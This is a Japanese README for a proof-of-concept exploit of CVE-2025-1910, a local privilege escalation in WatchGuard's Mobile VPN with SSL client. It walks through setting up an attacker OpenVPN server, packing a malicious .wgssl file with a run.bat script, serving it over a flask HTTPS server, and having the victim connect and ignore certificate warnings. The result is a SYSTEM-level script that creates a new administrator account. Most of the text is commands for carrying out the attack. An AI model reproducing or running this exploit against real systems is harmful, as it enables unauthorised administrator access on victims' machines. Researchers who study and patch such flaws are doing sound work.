
WatchguardのMobile VPN with SSLクライアントにおけるローカル権限昇格(CVE-2025-1910)を悪用するためのProof-of-Conceptです。
WatchGuard の Mobile VPN with SSL 12.11.2 以下に存在する特権昇格の脆弱性により、低権限ユーザーがクライアント上で SYSTEM としてコマンドを実行できます。Mobile VPN with SSL バージョン 12.11.2 でテスト済みです。
sudo openvpn --config server.conf

./client/client.ovpn 内の remote オプションを変更し、OpenVPN サーバーを指定します。
./client/run.bat を必要に応じて変更します。このスクリプトは SYSTEM として実行されます。デフォルトでは、新しい管理者ユーザー (shinyNewAdmin) が作成されます。
悪意のある WatchGuard client.wgssl ファイルを作成します。
cd client/
# Create checksum
md5sum client.ovpn run.bat > MD5SUM
# Pack into a .wgssl file
tar -czf ../client_exploit.wgssl client.ovpn MD5SUM run.bat
cd ..
client.wgssl ファイルを flask で配信します。# Start the flask HTTPS server
sudo python3 srv.py

必要に応じて、openssl で新しい証明書と鍵ペアを作成することもできます。
# Create certificate and private key for the HTTPS connection
openssl req -x509 -newkey rsa:4096 -nodes -out server.crt -keyout server.key -days 365 -subj "/CN=firebox"
次に、脆弱性のあるバージョンの Mobile VPN with SSL がインストールされている被害者マシン(例: バージョン 12.11.2、ダウンロード)で、攻撃者サーバーへの接続を試みます。入力するユーザー名とパスワードは何でも構いません。

セキュリティ警告で Yes をクリックし、証明書の警告を無視します。

接続が正常に確立されると、run.bat ファイルが実行され、shinyNewAdmin ユーザーが作成されます。

攻撃者サーバーには、Python、openssl、openvpn がインストールされている必要があります。さらに、flask Python パッケージもインストールする必要があります。
pip install -r requirements.txt
Nix がインストールされていれば、開発シェルを起動するだけです。
nix develop